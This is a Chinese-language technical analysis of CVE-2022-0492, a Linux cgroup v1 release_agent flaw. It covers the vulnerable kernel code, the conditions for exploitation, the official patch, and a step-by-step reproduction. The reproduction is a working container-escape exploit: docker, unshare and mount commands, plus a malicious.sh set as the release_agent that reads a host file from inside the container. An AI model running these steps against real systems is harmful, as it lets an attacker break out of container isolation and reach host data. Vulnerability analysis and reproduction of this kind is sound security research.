漏洞分析
CVE-2022-0492是一个cgroup漏洞,利用这个漏洞可以修改release_agent文件并执行任意程序。
release_agent是cgroup v1的一个特性,当notify_on_release文件的内容设为1时,这个功能才会启用。当进程终止时,系统内核会运行release_agent文件内容中指向的程序路径,也就是说只要用户能够修改这个文件,就能够让内核以更高权限运行任意程序,因此这个文件只能够被root用户修改。然而,在写入该文件的过程中,内核并没有检查写入的进程是否具有CAP_SYS_ADMIN权限,因此在容器中,任意以root用户运行的进程都可以修改这个文件[1.1]:
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX); cgrp = cgroup_kn_lock_live(of->kn, false); if (!cgrp) return -ENODEV; spin_lock(&release_agent_path_lock); strlcpy(cgrp->root->release_agent_path, strstrip(buf), sizeof(cgrp->root->release_agent_path)); spin_unlock(&release_agent_path_lock); cgroup_kn_unlock(of->kn); return nbytes; }
要利用这个漏洞,需要满足以下几个条件:
1. 容器支持cgroup v1,而v2则不受该漏洞影响;
2. 默认情况下,在容器中cgroup文件系统是只读的,因此需要挂载一个可写的cgroupfs;
3. 要在容器中执行挂载操作,需要关闭AppArmor或SELinux;
4. 进程还需要拥有CAP_SYS_ADMIN这一capability才能挂载cgroupfs,要在容器中获取CAP_SYS_ADMIN需要调用unshare命令,这一操作需要关闭SecComp;
5. 容器需要通过root用户运行。
漏洞复现
系统:Ubuntu 20.04
内核:5.4.0-90
containerd:1.5.10-1(最新版1.6似乎不能挂载root cgroup)
首先创建一个容器,并且需要关闭SecComp和AppArmor:
docker run -it --name ubuntu0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
进入容器之后,用创建一个新的namespace并挂载可写的cgroupfs,然后开启release_agent:
unshare -UrmC bash mkdir /mnt/cgroup mount -t cgroup -o rdma cgroup /mnt/cgroup mkdir /mnt/cgroup/x echo 1 > /mnt/cgroup/x/notify_on_release
输入mount命令,找到upperdir,然后在根目录下创建一个result空文件和一个malicious.sh脚本,后者的内容为:
#!/bin/sh cat /file123 >> /var/lib/docker/overlay2/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29/diff/result
其中,file123为宿主系统的根目录下的一个文件,内容为“host file”。
修改release_agent文件:
/var/lib/docker/overlay2/e0e969f051de8ae72b030deaae13512ce85e6a3ffe035f366661fd6ab1f71b29/diff/malicious.sh
创建一个马上终止的进程:
sh -c "echo \$\$ > /mnt/cgroup/x/cgroup.procs"
再次读取result文件,就可以看到宿主的file123文件中的内容:
官方修复
在官方的修复方案中,在写入release_agent文件之前,会先检查namespace是否是init_user_ns,以及进程是否拥有CAP_SYS_ADMIN[3.1]。
if ((of->file->f_cred->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN)) return -EPERM;
参考
[1.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/cgroup/cgroup-v1.c?id=c80d401c52a2d1baf2a5afeb06f0ffe678e56d23#n545
[2.1] https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/
[2.2] https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
[3.1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af